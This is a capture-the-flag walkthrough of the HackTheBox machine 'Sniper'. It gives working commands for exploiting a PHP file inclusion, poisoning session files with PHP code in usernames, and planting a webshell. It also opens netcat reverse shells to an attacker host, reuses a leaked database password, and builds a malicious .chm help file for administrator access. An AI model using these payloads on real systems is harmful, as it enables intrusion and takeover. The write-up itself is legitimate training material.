Sniper

Sniper involved utilizing a relatively obvious file include vulnerability in a web page to get code execution and then a shell. The first privesc was a common credential reuse issue. The second involved poisoning a .chm file to get code execution as the administrator.

Box Info

Name Sniper Sniper
Play on HackTheBox
Release Date 05 Oct 2019
Retire Date 28 Mar 2020
OS Windows Windows
Base Points Medium [30]
Rated Difficulty Rated difficulty for Sniper
Radar Graph Radar chart for Sniper
First Blood User 01:48:08snowscan
First Blood Root 02:22:10snowscan
Creators MinatoTW
felamos

Recon

Because it’s a Windows target, I started working from my Commando Windows VM.

nmap

nmap shows HTTP (TCP 80), NetBios/SMB (TCP 135, 139, 445), and an RPC port (TCP 49667) open:

PS > nmap -p- --min-rate 10000 -oA scans\nmap-alltcp 10.10.10.151
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-06 19:51 GMT Daylight Time
Nmap scan report for 10.10.10.151
Host is up (0.024s latency).
Not shown: 65530 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49667/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 15.73 seconds

PS > nmap -p 80,135,139,445 -sV -sC -oA scans\nmap-tcpscripts 10.10.10.151
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-06 19:53 GMT Daylight Time
Nmap scan report for 10.10.10.151
Host is up (0.028s latency).

PORT    STATE SERVICE       VERSION
80/tcp  open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h44m35s, deviation: 0s, median: 6h44m35s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-10-07 02:38:34
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.58 seconds

Based on the IIS version, it’s Windows 10 or Server 2016/2019.

SMB - TCP 445

SMB without a username or password just gives access denied:

PS > net view 10.10.10.151
System error 5 has occurred.

Access is denied.

Website - TCP 80

Site

The site is for Sniper Co., what looks to be a delivery company:

1570442341790

The first three links don’t lead anywhere. The “Our services” link points to /blog/index.php, and the “User Portal” link points to /user/index.php.

Directory Brute Force

gobuster doesn’t return anything I didn’t already find above:

PS > gobuster -u http://10.10.10.151 -w 'C:\Tools\dirbuster-lists\directory-list-lowercase-2.3-medium.txt' -x php -o scans\gobuster-root-php

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.151/
[+] Threads      : 10
[+] Wordlist     : C:\Tools\dirbuster-lists\directory-list-lowercase-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : php
[+] Timeout      : 10s
=====================================================
2019/10/07 01:37:34 Starting gobuster
=====================================================
/images (Status: 301)
/index.php (Status: 200)
/blog (Status: 301)
/user (Status: 301)44 (0.04%)
/css (Status: 301)7644 (0.20%)
/js (Status: 301)07644 (0.44%)
=====================================================
2019/10/07 02:07:46 Finished
=====================================================

blog

The blog text is just a paragraph about fast delivery times and some Lorem ipsum dummy text. But there’s a bar at the top with options. Most of the links just point back to this page, but the language drop down has links to:

  • http://10.10.10.151/blog?lang=blog-en.php
  • http://10.10.10.151/blog?lang=blog-es.php
  • http://10.10.10.151/blog?lang=blog-fr.php

The page is likely doing something like having each of the three language pages in the same directory, and then have PHP that includes it:

include $_GET['lang'];

If the filtering before that isn’t good, there could be a file inclusion vulnerability. I’ll poke at that in the next section.

user

/user redirects to /user/login.php:

1570735029490

I don’t have creds, but there’s a Sign Up link, which takes me to /user/registration.php:

1570735071984

When I create an account, I’m redirected to the login page. When I log in, there’s just an under construction page:

1570735146595

Shell as iusr

Enumeration

LFI

There is a local file include in the lang parameter. It doesn’t work when I try to include something with a relative path, like ..\index.php:

1570730149051

But if I use an absolute path, like \windows\win.ini, the page loads, and I can see the file in the contents at the bottom if I look at the source:

</body>

</html>
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
</body>
</html>	

RFI

There’s also remote file inclusion vulnerability here. HTTP includes seem to be turned off, likely in the php.ini file where allow_url_include could be off. But SMB includes do work (under the right circumstances). My understanding is that this was an unintended vulnerability by the box makers.

I originally started this box on Commando, but trying to get it to connect to my SMB share always resulted in STATUS_ACCESS_DENIED as I followed in Wireshark:

Wireshark SMB failureClick for full size image

That demonstrates that the server is willing to contact me, but I couldn’t get the authentication working (if you know how I can configure my SMB share to remove all auth, let me know).

On Kali, I tried smbserver.py, and again, Sniper connected to me, but failed to authenticate:

[*] Incoming connection (10.10.10.151,57159)
[*] AUTHENTICATE_MESSAGE (\,SNIPER)
[*] User \SNIPER authenticated successfully
[*] :::00::4141414141414141
[*] Handle: [Errno 104] Connection reset by peer
[*] Closing down connection (10.10.10.151,57159)
[*] Remaining connections []

However, with Samba, I got it to work. I set /etc/samba/smb.conf to:

[SHARE]
path = /srv/samba/
browseable = yes
read only = no
create mask = 777
guest ok = yes
force user = nobody
force group = nogroup

The started the service:

root@kali# service smbd restart
root@kali# service nmbd restart

Permissions are important here. It’s important that the Samba process (running as nobody) can read the file:

root@kali# find srv/ -ls
  2359297      4 drwxr-xr-x   4 root     root         4096 srv/
  2359299      4 drwxrwxrwx   2 nobody   nogroup      4096 srv/samba
  2359300      4 -rwxrwxrwx   1 nobody   nogroup        35 srv/samba/cmd.php
  2359301     48 -rwxrwxrwx   1 root     root        45272 srv/samba/test.txt

text.txt is just a text file with the string 0xdf in it. Now I can include it and see the results:

root@kali# curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\\10.10.14.6\share\test.txt' | sed -n '/<\/html>/,/<\/body>/p'
</html>
0xdf
</body>
</html>

path 1 - LFI

RCE

Having found the LFI above, I start to think about where I could write a file on disk. One place is the PHP session file for the /user/ site. The default location on Windows is C:\windows\temp\. I get my session id from Burp, and see, it’s there:

root@kali# curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\windows\temp\sess_8l44h398eccsi698nj5he5k2cr' | tail

</body>

</html>
username|s:4:"oxdf";</body>
</html>

Next I tried to register as:

<?php system("whoami") ?>

But when I tried to log in, I get rejected:

1570739618691

There must be some filtering going on at registration. After some playing around, I got this username to login:

a<?php echo `whoami` ?>b

And when I get the session, I can see the results:

root@kali# curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\windows\temp\sess_8l44h398eccsi698nj5he5k2cr' | tail

</body>

</html>
username|s:24:"ant authority\iusr
b";</body>
</html>

I can now register the following to run a dir in the working directory:

a<?php echo `dir` ?>b

Returns (I’ll just show the part I care about, and cut out the surrounding html):

 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\inetpub\wwwroot\blog

04/11/2019  05:23 AM    <DIR>          .
04/11/2019  05:23 AM    <DIR>          ..
04/11/2019  05:28 AM             4,341 blog-en.php
04/11/2019  05:28 AM             4,487 blog-es.php
04/11/2019  05:28 AM             4,489 blog-fr.php
04/11/2019  05:23 AM    <DIR>          css
04/11/2019  05:25 AM             1,357 error.html
04/11/2019  05:25 AM             1,331 header.html
04/11/2019  08:31 PM               442 index.php
04/11/2019  05:23 AM    <DIR>          js
               6 File(s)         16,447 bytes
               4 Dir(s)  16,987,619,328 bytes free

Leak Source

I want to get the source for registration.php so I can understand the filters I’m trying to bypass. But when I try to change directories registering as a user with any characters like .. and \, the login fails, presumably because of the filtering again.

I was able to fumble around enough to get this username registered and logged in:

a<?php echo `dir \\inetpub\\wwwroot\\user` ?>b

Now using the LFI returned:

 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\inetpub\wwwroot\user

10/01/2019  08:44 AM    <DIR>          .
10/01/2019  08:44 AM    <DIR>          ..
04/11/2019  05:15 PM               108 auth.php
04/11/2019  05:52 AM    <DIR>          css
04/11/2019  10:51 AM               337 db.php
04/11/2019  05:23 AM    <DIR>          fonts
04/11/2019  05:23 AM    <DIR>          images
04/11/2019  06:18 AM             4,639 index.php
04/11/2019  05:23 AM    <DIR>          js
04/11/2019  06:10 AM             6,463 login.php
04/08/2019  11:04 PM               148 logout.php
10/01/2019  08:42 AM             7,192 registration.php
08/14/2019  10:35 PM             7,004 registration_old123123123847.php
04/11/2019  05:23 AM    <DIR>          vendor
               7 File(s)         25,891 bytes
               7 Dir(s)  16,987,619,328 bytes free

I then tried to get the registration.php source, but it seems the . breaks things when I tried:

a<?php echo `type \\inetpub\\wwwroot\\user\\registration.php` ?>b

But, I know that ? isn’t blocked, and that’s a single character wild card. So I register as:

a<?php echo `type \\inetpub\\wwwroot\\user\\registration?php` ?>b

Something about ? wildcards are funky. I couldn’t get that to work. So eventually I registered:

a<?php echo `powershell cat \\inetpub\\wwwroot\\user\\registration*php` ?>b

I got the source for both files. Here’s registration.php:

<!DOCTYPE html>
<html>
<meta charset="utf-8">

</head>
<body>
<?php
require('db.php');                                                                                                                                                                                                                    
// If form submitted, insert values into the database.                                                                                                                                                                                
if (isset($_REQUEST['username'])){                                                                                                                                                                                                    
        // removes backslashes                           
        $username = stripslashes($_REQUEST['username']);                                                           
        $username = str_replace('-', '', $username);                                                               
        $username = str_replace('$', '', $username);                                                               
        $username = str_replace('[', '', $username);                                                               
        $username = str_replace('(', '', $username);                                                               
        $username = str_replace('_', '', $username);                                                               
        $username = str_replace('.', '', $username);                                                               
        $username = str_replace(';', '', $username);                                                               
        $username = str_replace('&', '', $username);                                                               
        $username = str_replace('"', '', $username);                                                               
        //escapes special characters in a string         
        $username = mysqli_real_escape_string($con,$username);                                                     
        $email = stripslashes($_REQUEST['email']);       
        $email = mysqli_real_escape_string($con,$email);                                                           
        $password = stripslashes($_REQUEST['password']);                                                           
        $password = mysqli_real_escape_string($con,$password);                                                     
        $trn_date = date("Y-m-d H:i:s");                 
        $query = "INSERT into `users` (username, password, email, trn_date)                                        
VALUES ('$username', '".md5($password)."', '$email', '$trn_date')";                                                
        $result = mysqli_query($con,$query);             
        if($result){                                     

sleep(1);                                                
header("Location: login.php");                           
   }                                                     
    }else{                                               
?>                                                       

<!DOCTYPE html>                                          
<html lang="en">                                         

<head>                                                   
        <title>Register</title>                          
        <meta charset="UTF-8">                           
        <meta name="viewport" content="width=device-width, initial-scale=1">                                       
<!--===============================================================================================-->                                                                                                                                
        <link rel="icon" type="image/png" href="images/icons/favicon.ico"/>                                        
<!--===============================================================================================-->                                                                                                                                
        <link rel="stylesheet" type="text/css" href="vendor/bootstrap/css/bootstrap.min.css">                      
<!--===============================================================================================-->                                                                                                                                
        <link rel="stylesheet" type="text/css" href="fonts/font-awesome-4.7.0/css/font-awesome.min.css">                                                                                                                              
<!--===============================================================================================--> 
<!--===============================================================================================-->                                                                                                                                
        <link rel="stylesheet" type="text/css" href="vendor/animate/animate.css">                                  
<!--===============================================================================================-->                                                                                                                                
        <link rel="stylesheet" type="text/css" href="vendor/css-hamburgers/hamburgers.min.css">                    
<!--===============================================================================================-->                                                                                                                                
        <link rel="stylesheet" type="text/css" href="vendor/animsition/css/animsition.min.css">                    
<!--===============================================================================================-->                                                                                                                                
        <link rel="stylesheet" type="text/css" href="vendor/select2/select2.min.css">                              
<!--===============================================================================================-->                                                                                                                                
        <link rel="stylesheet" type="text/css" href="vendor/daterangepicker/daterangepicker.css">                  
<!--===============================================================================================-->                                                                                                                                
        <link rel="stylesheet" type="text/css" href="css/util.css">                                                
        <link rel="stylesheet" type="text/css" href="css/main.css">                                                
<!--===============================================================================================-->                                                                                                                                
</head>                                                  
<body>                                                   

        <div class="limiter">                            
                <div class="container-login100">         
                        <div class="wrap-login100">                                                                
                                <form name="registration" action="" method="post" class="login100-form validate-form">                                                                                                                
                                        <span class="login100-form-title p-b-26">                                  
                                                Welcome                                                            
                                        </span>          
                                        <span class="login100-form-title p-b-48">                                  
                                                <i class="zmdi zmdi-account-add"></i>                              
                                        </span>          

                                        <div class="wrap-input100 validate-input" data-validate = "Valid email is: a@b.c">                                                                                                            
                                                <input type="email" name="email" class="input100" type="text" name="email">                                                                                                           
                                                <span class="focus-input100" data-placeholder="Email"></span>                                                                                                                         
                                        </div>           
                                                         
                                        <div class="wrap-input100 validate-input" data-validate = "Valid email is: a@b.c">                                                                                                            
                                                <input type="text" name="username" class="input100" type="text" name="email">                                                                                                         
                                                <span class="focus-input100" data-placeholder="Username"></span>                                                                                                                      
                                        </div>           

                                        <div class="wrap-input100 validate-input" data-validate="Enter password">                                                                                                                     
                                                <span class="btn-show-pass">                                       
                                                        <i class="zmdi zmdi-eye"></i>                              
                                                </span>                                                            
                                                <input type="password" name="password" class="input100" type="password" name="pass">                                                                                                  
                                                <span class="focus-input100" data-placeholder="Password"></span>                                                                                                                      
                                        </div>           

                                        <div class="container-login100-form-btn">                                  
                                                <div class="wrap-login100-form-btn">                               
                                                        <div class="login100-form-bgbtn"></div>                    
                                                        <button  type="submit" name="submit" class="login100-form-btn">                                                                                                               
                                                                Register                                           
                                                        </button>
                                                                                                        </div>                                                             
                                        </div>           

                                        <div class="text-center p-t-115">                                          
                                                <span class="txt1">                                                
                                                        Don't have an account?                                     
                                                </span>                                                            

                                                <a class="txt2" href="#">                                          
                                                        Sign Up                                                    
                                                </a>                                                               
                                        </div>           
                                </form>                  
                        </div>                           
                </div>                                   
        </div>                                           


        <div id="dropDownSelect1"></div>                 

<!--===============================================================================================-->                                                                                                                                
        <script src="vendor/jquery/jquery-3.2.1.min.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                     
<!--===============================================================================================-->                                                                                                                                
        <script src="vendor/animsition/js/animsition.min.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                
<!--===============================================================================================-->                                                                                                                                
        <script src="vendor/bootstrap/js/popper.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                         
        <script src="vendor/bootstrap/js/bootstrap.min.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                  
<!--===============================================================================================-->                                                                                                                                
        <script src="vendor/select2/select2.min.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                         
<!--===============================================================================================-->                                                                                                                                
        <script src="vendor/daterangepicker/moment.min.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                  
        <script src="vendor/daterangepicker/daterangepicker.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                             
<!--===============================================================================================-->                                                                                                                                
        <script src="vendor/countdowntime/countdowntime.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                 
<!--===============================================================================================-->                                                                                                                                
        <script src="js/main.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                         

        <?php } ?>                                       
</html> 

Shell

I can’t use and of: -$[(_.;&"\. I’ve already got PowerShell execution working through this:

<?php echo `powershell [command]` ?>     

I need a command I can put in that doesn’t use any of the banned characters.

Some of the things I tried that failed:

  • Creating a UNC path to run off my SMB server using IPv6. It doesn’t work, because IPv6s in UNC paths have the : replaced by -.
  • Finding and trying to poison \programdata\data\sniper\users.ibd, which is a backup of the users database. It has not only my username by the email address, which is less filtered. I had a lot of trouble getting this file to include, though I know of at least one person who was able to make this work.

This would all be easier if I could run a base64-encoded command. Typically I think of doing that by running powershell -enc [base64-string]. But it also works with /enc.

I’ll make the command, making sure to convert to 16-bit unicode characters with iconv:

root@kali# echo 'cmd /c "\\10.10.14.6\share\nc64.exe -e cmd 10.10.14.6 443"' | iconv -f ascii -t utf-16le | base64 -w0
YwBtAGQAIAAvAGMAIAAiAFwAXAAxADAALgAxADAALgAxADQALgA2AFwAcwBoAGEAcgBlAFwAbgBjADYANAAuAGUAeABlACAALQBlACAAYwBtAGQAIAAxADAALgAxADAALgAxADQALgA2ACAANAA0ADMAIgAKAA==

Now, I’ll register as:

<?php echo `powershell /enc YwBtAGQAIAAvAGMAIAAiAFwAXAAxADAALgAxADAALgAxADQALgA2AFwAcwBoAGEAcgBlAFwAbgBjADYANAAuAGUAeABlACAALQBlACAAYwBtAGQAIAAxADAALgAxADAALgAxADQALgA2ACAANAA0ADMAIgAKAA==` ?>

Once I log in, I can include the session data:

root@kali# curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\windows\temp\sess_8l44h398eccsi698nj5he5k2cr'

This just hangs, but I’ve got a shell on my listener:

root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.151.
Ncat: Connection from 10.10.10.151:49706.
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\blog>whoami
whoami
nt authority\iusr

path 2 - RFI

With the RFI identified earlier, I can include a simple PHP webshell, cmd.php:

<?php system($_REQUEST['cmd']); ?>

Now I can request that shell, and include a cmd parameter:

root@kali# curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\\10.10.14.6\share\cmd.php' --data-urlencode 'cmd=whoami' | sed -n '/<\/html>/,/<\/body>/p'                       
</html>
nt authority\iusr
</body>
</html>

To get a shell, I’ll just include a command to run nc64.exe from the same Samba share:

root@kali# curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\\10.10.14.6\share\cmd.php' --data-urlencode 'cmd=\\10.10.14.6\share\nc64.exe -e cmd 10.10.14.6 443'

And I get a callback:

root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.151.
Ncat: Connection from 10.10.10.151:57204.
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\blog>whoami
whoami
nt authority\iusr

Priv: iusr –> Chris

Enumeration

Looking around, there are creds for the database in the PHP:

C:\inetpub\wwwroot\user>type db.php
type db.php
<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
?>

Runas

I know the other user on the box is Chris from the \users\ directory, so I’ll try to run as them using PowerShell. First I’ll open PowerShell:

C:\>powershell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\>

Now I can run as Chris, and it works:

PS C:\> hostname
Sniper
PS C:\> $user = "Sniper\Chris"
PS C:\> $pass = "36mEAhz/B8xQ~2VM"
PS C:\> $secstr = New-Object -TypeName System.Security.SecureString
PS C:\> $pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
PS C:\> Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost
sniper\chris

This means the creds are good, and that Chris is in the “Remote Management Users” group, as I can verify:

PS C:\> net user chris
User name                    Chris
Full Name                    
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            4/11/2019 6:53:37 AM
Password expires             Never
Password changeable          4/11/2019 6:53:37 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   10/10/2019 5:53:48 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use*Users                
Global Group memberships     *None                 
The command completed successfully.

Now I can use that same PowerShell to get user.txt:

PS C:\inetpub\wwwroot\user> Invoke-Command -ScriptBlock { type \users\chris\desktop\user.txt } -Credential $cred -Computer localhost
21f4d0f2************************

Shell

To turn that into a shell, chris can run nc:

PS C:\> Invoke-Command -ScriptBlock { \\10.10.14.6\share\nc64.exe -e cmd 10.10.14.6 443 } -Credential $cred -Computer localhost

And get a callback on my listener (always using rlwrap for Windows):

root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.151.
Ncat: Connection from 10.10.10.151:57201.
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Chris\Documents>whoami
sniper\chris

Priv: Chris –> Administrator

Enumeration

In the root of the C drive there’s a folder \docs that iusr wasn’t able to access, but chris can. It contains several files:

C:\Docs>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\Docs

10/09/2019  06:54 PM    <DIR>          .
10/09/2019  06:54 PM    <DIR>          ..
04/11/2019  09:31 AM               285 note.txt
04/11/2019  09:17 AM           552,607 php for dummies-trial.pdf
               2 File(s)        552,892 bytes
               2 Dir(s)  17,957,249,024 bytes free

note.txt talks about dropping documentation in this folder:

C:\Docs>type note.txt
type note.txt
Hi Chris,
  Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.

Regards,
Sniper CEO.

In Chris’ Downloads folder, there’s a doc.chm:

C:\Users\Chris\Downloads>dir
 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\Users\Chris\Downloads

04/11/2019  08:36 AM    <DIR>          .
04/11/2019  08:36 AM    <DIR>          ..
04/11/2019  08:36 AM            10,462 instructions.chm
               1 File(s)         10,462 bytes
               2 Dir(s)  17,685,372,928 bytes free

.chm files are Windows help files, so that could be the documentation that the CEO was talking about. I’ll copy this back to a Windows VM and check it out:

image-20200327214532181

Weaponize .chm

Nishang has a tool, Out-CHM, which makes weaponized .chm files. I’ll load it into my PowerShell session:

PS > Import-Module .\Tools\nishang\Client\Out-CHM.ps1

Now I can call it. I’ll need to pass it the path the HTML Help Workshop (and I can install it if it’s not already installed), and it will write doc.chm in my current director. I’ll have it run nc out of an AppLocker safe directory:

PS > Out-CHM -Payload "\windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.6 443" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
Microsoft HTML Help Compiler 4.74.8702

Compiling c:\Tools\nishang\doc.chm


Compile time: 0 minutes, 0 seconds
2       Topics
4       Local links
4       Internet links
0       Graphics


Created c:\Tools\nishang\doc.chm, 13,458 bytes
Compression increased file by 266 bytes.

Shell

Now I’ll move the result back to my Kali VM, into the Samba share, and then copy it over to Sniper:

C:\Docs>copy \\10.10.14.6\share\doc.chm .
        1 file(s) copied.

I’ll copy nc64.exe over as well:

C:\Docs>copy \\10.10.14.6\share\nc64.exe \windows\system32\spool\drivers\color\
        1 file(s) copied.  

In less than a minute:

root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.151.
Ncat: Connection from 10.10.10.151:57228.
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
sniper\administrator

And then I can grab root.txt:

C:\Users\Administrator\Desktop>type root.txt
5624caf3************************